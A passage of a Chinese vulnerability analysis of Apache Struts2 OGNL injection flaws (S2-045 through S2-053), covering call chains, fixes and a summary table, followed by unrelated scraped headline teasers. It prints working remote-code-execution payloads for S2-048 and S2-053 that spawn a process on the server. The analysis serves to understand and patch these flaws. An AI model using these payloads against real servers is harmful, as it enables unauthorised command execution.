接下来,经过几个函数后,报错的信息被传入了TextParseUtil.translateVariables,translateVariables会在后续的调用中将报错信息中用%{}包裹的内容带入ognl.getValue(这些都是前面提到过的了),而这个报错信息,就包含的有我们Content-Type头中的所有内容,从而导致传入ognl中的值攻击者可控,造成了RCE漏洞。

修复

这个漏洞修复比较简单,就是不把报错的信息放到LocalizedTextUtil.findText函数中去了,从而保证报错的content-type不被带进ognl。

S2-046的漏洞原理和修复与045一样,区别在于触发报错的方式和ognl表达式的注入点不一样,不再详细分析。

S2-048

适用版本:使用了Struts 1 plugin 和Struts 1 action 的2.3.x 版本

048的利用场景也是比较苛刻的,简单的说是当传入ActionMessage的值是用户可控的情况下,攻击者可以通过传入恶意的payload造成RCE。

示例代码就贴一下官方showcase Demo中可以利用成功的SaveGangsterAction

public class SaveGangsterAction extends Action { public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { GangsterForm gform = (GangsterForm) form; ActionMessages messages = new ActionMessages; // gform参数的name字段用户可控切被传入了ActionMessage类,满足了攻击条件。 messages.add("msg", new ActionMessage("Gangster " + gform.getName + " added successfully")); addMessages(request, messages); return mapping.findForward("success"); } } 简易POC

这里的poc也是以showcase app中的saveGangster.action作为示例的。

name=${(#glassy='multipart/form-data').(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#a=(new java.lang.ProcessBuilder('/Applications/Notes.app/Contents/MacOS/Notes')).start)}&age=11&__checkbox_bustedBefore=true&deion=22 原理

虽然举的例子是SaveGangsterAction,但是漏洞的真正触发点是在Struts1Action,当在ST2中需要去使用ST1的类的时候就需要去调用这个Struts1Action类,像刚刚举例的SaveGangsterAction类中,Action、ActionMapping、ActionMessage、ActionMessages类都是ST1中的。

我们先去整体看一下调用链,可以注意到虽然访问的是SaveGangsterAction类,但调用链中还交给Struts1Action去处理的,

这个调用链跟的比较长,但其实可以跟的很短,这就需要一个良好的ST2漏洞发掘经验,我们可以明确一个思路:只要看到可控的参数被传到了TextParseUtil.translateVariables或ActionSupport.getText方法了,就说明这个参数最终会被交给OGNL.getValue。

直接去跟进Struts1Action.execute,

其中

ActionForward forward = action.execute(mapping, this.actionForm, request, response);

就是去执行SaveGangsterAction的execute方法,然后就去获取传给ActionMessage的值

ActionMessages messages = (ActionMessages)request.getAttribute("org.apache.struts.action.ACTION_MESSAGE");

最后传给了ActionSupport.getText从而成功在后续的调用中把payload交到了OGNL.getValue中,造成RCE。

this.addActionMessage(this.getText(msg.getKey)); 修复

这次的修复ST2不是在自己代码中去做的,而是给出了当在ST2中使用struts2-struts1-plugin的规范,以SaveGangsterAction为例

要写成

messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName));

而不能写成

messages.add("msg", new ActionMessage("Gangster " + gform.getName + " was added"));

简单的说就是不要把前端可控参数传到ActionMessage的key中,如果真需要把前端可控参数传给ActionMessage,就传到value中。

S2-053

适用版本:2.0.0 – 2.3.33 , 2.5 – 2.5.10.1

053版本的利用条件也比较苛刻,只有服务端将用户可控的参数放到了Freemarker的标签属性中的时候,才会造成RCE,实例写法如下,

<@s.url value="${name}"/>

当name参数是客户端传过来的时候,就会在ST2服务器上造成RCE

简易POC http://www.glassy.com/Struts2Demo_war_exploded/s2053.action?name=%25%7b(%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23a%3d(new+java.lang.ProcessBuilder(%27%2fApplications%2fNotes.app%2fContents%2fMacOS%2fNotes%27)).start)%7d 原理

看一下调用链,

因为漏洞触发是发生在ST2返回页面的时候,所以调用链就从StrutsResultSupport.execute开始跟,st2看到返回的页面是Freemarker模板的,所以交给FreemarkerResult类处理,Freemarker在处理的时候需要去找name的值以便生成完整的标签,于是通过ST2去findString,发现name参数是ognl表达式,于是交给了ognl.getValue,造成了rce。

修复

这次的修复是在FreemarkerManager中多了两行代码,

LOG.debug("Sets NewBuiltinClassResolver to TemplateClassResolver.SAFER_RESOLVER", new String[0]); configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

去看了一下TemplateClassResolver.SAFER_RESOLVER)的官方文档,

TemplateClassResolver.SAFER_RESOLVER now disallows creating freemarker.template.utility.JythonRuntime and freemarker.template.utility.Execute. This change affects the behavior of the new built-in if FreeMarker was configured to use SAFER_RESOLVER, which is not the default until 2.4 and is hence improbable.

大致意思应该就是禁止了freemarker的RCE,具体我对freemarker不太了解,就不去误人子弟了。

总结

这里的总结我们就通过一张表格去概括了。

漏洞名称 命令注入位置 OGNL执行函数 漏洞成因 S2-001 参数值 Ognl.getValue 当参数值是形如%{*}的形式的时候,ST2会把这个值当做OGNL表达式去执行。 S2-003 参数名 Ognl.setValue 通过构造形如(exp)(a)(b)的形式的表达式,放入ognl.setvalue,最终会将exp带入ognl.getvalue S2-005 参数名 Ognl.setValue S2-003的绕过,通过ognl表达式,可以对ognl的root、context中的值做任意修改,从而绕过基于定义变量值的补丁 S2-007 参数值 Ognl.getValue 当对参数做了类型限制,而类型转换出错的时候,ST2会把出错的参数值带入Ognl.getValue S2-009 参数值和参数名的配合 Ognl.setValue 003和005的绕过通过构造一个带有payload的值a传给ognl,再通过把(b)(a)带如ognl.setvalue从而造成和005一样的rce S2-012 重定向参数 Ognl.getValue 计算重定向url的时候会把重定向参数的值放入ognl.getvalue中 S2-013 使用特殊s:url或者s:a标签的action的参数值 Ognl.getValue 计算标签中action路径的时候,会把参数值带入ognl.getvalue S2-015 action值 Ognl.getValue 计算重定向url的时候会把action的值放入ognl.getvalue中 S2-016 action:或redirect:\redirectAction:后面的值 Ognl.getValue 同012 S2-019 debug和expression的参数值 Ognl.getValue ST2开启调试模式的时候,自带的可以执行ognl表达式的功能 S2-029 写入jsp中st2标签特殊属性值中的参数值 Ognl.getValue 返回给前端的jsp中的st2标签的属性值是形如%{exp}的形式的时候,会把exp放入ognl.getvalue S2-032 method:后的参数值 Ognl.getValue 计算返回结果的时候,ST2就开始去计传过来的method:后面的值,从而把内容放进了ognl.getValue S2-045 Content-Type的值 Ognl.getValue ST2在处理上传文件出错的时候且错误信息中带%{exp}的时候,会把exp带入ognl.getValue S2-048 传入ActionMessage的key中的参数值 Ognl.getValue ST2处理ST1的action的时候会把ActionMessage的key传给ognl.getValue S2-053 Freemarker的标签属性中的参数值 Ognl.getValue 计算Freemarker的标签属性值的时候会参数的值放入ognl.getvalue中

*本文作者:Glassy@平安银行应用安全团队,转载请注明来自FreeBuf.COM游戏网

责任编辑:

相关下载

玩家评论

CSGO:电竞圈的笑话?FLASHPOINT漏洞百出,二线队都开始抱怨?

FLASHPOINT作为国外的CSGO联赛品牌,在本赛季曾经大放厥词,表示要和ESL还有Blast等老牌CSGO主办方竞争联赛权。当然,FLASHPOINT的CEO还有一些相关负责人也是站了出详情>>

阅读: 11
日期: 2020-02-15
国外有人利用GameStop交易漏洞疯狂二手买卖X1X获利

虽然许多游戏业内人士认为游戏全数字化的未来是不可避免的,但实体版相对于数字版有一些不容置疑的优势。 其中最大的一个,当然是对购买的游戏有一定详情>>

阅读: 19
日期: 2020-02-06
DNF2.06维护公告“亮了”:36个BUG同时修复,不愧是漏洞城与鬼剑

“地下城与勇士之小狐狸君爱谈游戏电竞”第一千一百七十一期《DNF2.06维护公告“亮了”:36个BUG同时修复,不愧是漏洞城与鬼剑》,国服2.06维护公告已经详情>>

阅读: 18
日期: 2020-02-05
B社就《辐射76》漏洞导致玩家库存物品被盗事件作出回应

【导读】不久前我们曾经报道了《辐射76》出现漏洞,黑客可盗窃玩家游戏库存物品的新闻,而现在B社终于就此事作出了回应,一起来看看吧!--> 详情>>

阅读: 7
日期: 2019-12-25
《使命召唤:现代战争》出现新漏洞可探索大逃杀模式地图

近日Reddit的一名用户发现可以通过漏洞探索《使命召唤:现代战争》疑似吃鸡模式的地图。 据其测试,需要在地图Vacant进行单人比赛,开始游戏后,使用详情>>

阅读: 10
日期: 2019-12-22
《使命召唤:现代战争》出现新漏洞 可探索大逃杀模式地图

近日Reddit的一名用户发现可以通过漏洞探索《使命召唤:现代战争》疑似吃鸡模式的地图。  据其测试,需要在地图Vacant进行单人比赛,开始游戏后,使用观赛功能并调整镜头在区域中详情>>

阅读: 15
日期: 2019-12-22
火影博人传:为了凑够一集的时长,剧情漏洞百出,毫无逻辑_宇智波佐助

原标题:火影博人传:为了凑够一集的时长,剧情漏洞百出,毫无逻辑 日本动漫火影忍者《博人传》动画“穿越篇”还有一集便结束了,在135集中,虽然大筒木浦式详情>>

阅读: 17
日期: 2019-12-14
玩家滥用《暗黑3》Buff漏洞将受处罚现已紧急修复

【导读】最近《暗黑破坏神3》外服官网论坛上出现了单人速刷150层大秘境的帖子,引发网友热议。-->   最近《暗黑破坏神3:夺魂之镰(Di详情>>

阅读: 6
日期: 2019-12-12
安卓爆漏洞,你的手机摄像头会被黑客盯上?最新系统版本或可避免

原标题:安卓爆漏洞,你的手机摄像头会被黑客盯上?最新系统版本或可避免 近日,以色列安全公司Checkmarx曝光其此前发现的安卓系统漏洞:部分应用程序可绕详情>>

阅读: 17
日期: 2019-11-21
华为正式推出手机漏洞悬赏计划找出漏洞重金奖励

原标题:华为正式推出手机漏洞悬赏计划 找出漏洞重金奖励 据Twitter知名博主Azeria消息,华为今日凌晨在慕尼黑举行了“秘密会议”,本次大会邀请了业详情>>

阅读: 13
日期: 2019-11-17
明星P图上瘾漏洞百出,跪服关晓彤的修图师_何洁

原标题:明星P图上瘾漏洞百出,跪服关晓彤的修图师 何洁参加某晚会的照片被曝光之后,起初其正常的体型原本并没有产生热议,直到生图被曝光之后,显然与P详情>>

阅读: 8
日期: 2019-11-11
续航差杀进程iOS13各种漏洞为何扎堆爆发?

原标题:续航差杀进程 iOS 13各种漏洞为何扎堆爆发? 旧病未愈又添新疾,这或许是iOS 13系统最贴切的写照。续航差、信号差、闪退等各种问题还没解决,iOS详情>>

阅读: 9
日期: 2019-11-04
不堵漏洞就是撒钱6UP扑克之星爆出数据大漏洞

pokerstars的操控系统非常便捷且人性化。沿袭PC版,Android版同样具备了聊天、托管、提示等选项,无论是与牌友交流,还是临时有事需暂离牌桌,或是一时间不知道如何出牌,都可以利详情>>

阅读: 11
日期: 2019-10-31
国内首家开源漏洞平台360BugCloud,上线首周收录漏洞超300个

原标题:国内首家开源漏洞平台360BugCloud,上线首周收录漏洞超300个 全球几十亿的设备都基于某种开源软件而开发,一旦某个通用型开源漏洞被利用来攻破详情>>

阅读: 17
日期: 2019-10-31
阴阳师:依靠漏洞周入千万,官方终于出手,众多顶级号恐被封

原标题:阴阳师:依靠漏洞周入千万,官方终于出手,众多顶级号恐被封 阴阳师的斗技玩法一直是游戏的特色之一,回合制游戏的PK就像是下棋一样,双方每一步的博详情>>

阅读: 26
日期: 2019-10-26
网红减肥药含违禁成分微商卖假药凸显市场监管漏洞

原标题:网红减肥药含违禁成分 微商卖假药凸显市场监管漏洞 微商卖假药凸显市场监管漏洞 微商朋友圈里“让人一天瘦一斤”的古方减肥药“燃脂减肥胶详情>>

阅读: 11
日期: 2019-10-23
Alexa和GoogleHome曝重大漏洞,黑客可监听并窃取密码

原标题:Alexa和Google Home曝重大漏洞,黑客可监听并窃取密码 智东西(公众号:zhidxcom) 编 | 云鹏 导语:你的智能语音助手,可能会成为窃听和网络钓鱼的工详情>>

阅读: 9
日期: 2019-10-22
性感美女白色丝袜漏洞洞引诱你(图片)

详情>>

阅读: 10
日期: 2019-10-22
谷歌公布iOS漏洞:可通过iMessage发动攻击

  根据ZDNet报道,Google旗下安全团队Project Zero的两名成员日前公布了影响iOS系统的6个“无交互”安全漏洞中其中5个的详细信息和演示用攻击代码,这些漏洞可通过详情>>

阅读: 33
日期: 2019-08-04
今日热点:苹果第三财季业绩 谷歌公布iOS漏洞

  苹果第三财季业绩超预期 第四财季业绩展望良好  苹果对外公布2019年第三财季业绩,苹果第三财季营收114.6亿美元,同比增长12.6%。据悉,苹果第三财季业绩已超出华尔街预期,详情>>

阅读: 22
日期: 2019-07-31
谷歌公布iOS漏洞:6个重大iOS漏洞曝光,苹果设备及时更新!

今日,谷歌旗下安全团队Project Zero的两名成员日前公布了影响iOS系统的6个安全漏洞中其中5个的详细信息和演示用攻击代码。不过近日更新的 iOS 12.4 版本已经修复了这些漏详情>>

阅读: 14
日期: 2019-07-31
《隐世录》手游偷跑剧透:隐世服务器出现漏洞?

网易新游《隐世录》自从首测以来,东方唯美幻想与代码电子乱流风格并存的场景特点、围绕“BUG”展开的独特世界观等,始终是玩家关注的焦点。 《隐世录》手游中,隐世究竟隐详情>>

阅读: 10
日期: 2019-06-30
EA:已修复影响3亿玩家的Origin游戏服务漏洞_研究

原标题:EA:已修复影响3亿玩家的Origin游戏服务漏洞 IT之家6月30日消息 不久前,安全研究人员发现了来自Electronic Arts(EA)的Origin游戏平台中的漏洞,这些漏洞本可以详情>>

阅读: 14
日期: 2019-06-30
[视频]EA宣布已修复影响3亿玩家的Origin游戏服务漏洞_Check

原标题:[视频]EA宣布已修复影响3亿玩家的Origin游戏服务漏洞 EA已经修复了此前Origin游戏服务上曝光的一系列安全问题,攻击者可以利用这些漏洞控制用户账户并获取详情>>

阅读: 12
日期: 2019-06-30
微信海盗来了能量漏洞BUG详解 能量漏洞BUG是什么?[多图]

微信海盗来了能量漏洞BUG于最近被玩家们所发现,一些小伙伴对能量漏洞这个小BUG还不是很了解!下面是游戏鸟小编为大家带来的能量漏洞BUG详细解析! 能量漏洞BUG详解: 1、详情>>

阅读: 30
日期: 2019-06-28
DOTA2:核桃解说Major比赛,漏洞百出,玩家求他练练普通话_hao

原标题:DOTA2:核桃解说Major比赛,漏洞百出,玩家求他练练普通话 最近Major比赛正在火热进行中,而本次比赛由于直播版权问题,使得很多经验丰富的主播解说不了这次的震中详情>>

阅读: 23
日期: 2019-06-27
怎样下载office远程代码执行漏洞的补丁

office办公软件相信,无论你是上班族还是学生学习,都会或多或少的使用到该软件,是软件就会有漏洞,这里小生说一下远程代码执行漏洞补丁如何下载?攻略对象互联网步骤分解1百度搜索:详情>>

阅读: 17
日期: 2019-06-23
补天漏洞平台跟360是什么关系

Game234问答中心有网友提出了一个比较有代表性的问题【补天漏洞平台跟360是什么关系】,小编觉得可能对其他网友也有帮助,所以将此问答整理出来了,希望对您有帮助。小编为您搜罗的答案1腾讯电脑管家主要详情>>

阅读: 22
日期: 2019-04-13
川师IT之家漏洞修复工具 v1.0.1.1001 官方版

游戏类型:数据恢复文件大小:49.65MB软件语言:简体中文运营:未知软件授权:免费版应用平台:WinXP/Vista/Win7/Win8/Win8.1/Win10安全认证:川师IT之家系统优化详情>>

阅读: 4
日期: 2019-04-03
DEDECMS系统后台会员功能漏洞解决方案

然后找到会员使用权限开通状态这栏,DEDE默认选择是0也就是注册会员就能发布文章。...功能简单,正因如此,很多需要专业企业官网的用户使用一段时间后就不得不选择更为... 详情>>

阅读: 7
日期: 2019-03-18
Android系统新漏洞现身:黑客可利用特制的.PNG图片文件执行攻击

?据外媒MSPowerUser援引BGR消息报道,谷歌最近披露了Android系统的一项新的漏洞,通过这项漏洞,黑客可以引诱你打开一个特制的.PNG格式的图片文件,然后借助此侵入你的设备,运行Andr详情>>

阅读: 8
日期: 2019-02-09
啥是沙盒漏洞?OS X和iOS系统或存危险

和其他操作系统一样,OS X和iOS的应用程序运行于沙盒中,操作系统严格限制应用程序的权限和程序间的访问,以确... 详情>>

阅读: 5
日期: 2019-01-10
天天酷跑黄金卷漏洞是什么

《天天酷跑》是一款卡通风格的跑酷手游,不少玩家想要进一步了解关于黄金卡池bug的相关情报。天天酷跑黄金卷漏洞是什么详情>>

阅读: 7
日期: 2019-01-03
B社修复《辐射76》福利漏洞 再次引起玩家不满

Bethesda在本周《辐射76》最新补丁中修复了一个名为“喂饱人民(FeedThePeople)”的公共任务Bug,但这又引起了玩家的不满,因为此前只要有详情>>

阅读: 3
日期: 2018-12-13
玩家暂勿升级!Win8.1被曝玩游戏漏洞多

对于Windows 8.1系统,微软寄予了很高的期望,不过,新系统虽好,但是近来越来越多的玩家曝光其运行游戏时会有很多漏洞,主要是一些鼠标的失灵等。日前,微软正式表态说... 详情>>

阅读: 4
日期: 2018-12-12
B社漏洞百出 《辐射76》帆布包退换曝隐私问题

原标题:B社漏洞百出《辐射76》帆布包退换曝隐私问题《辐射76》发售以来风波不断,此前闹得沸沸扬扬的“尼龙袋毛冒充帆布包”事件也让B社压力巨大,最终提出同意为玩家详情>>

阅读: 5
日期: 2018-12-06
精彩推荐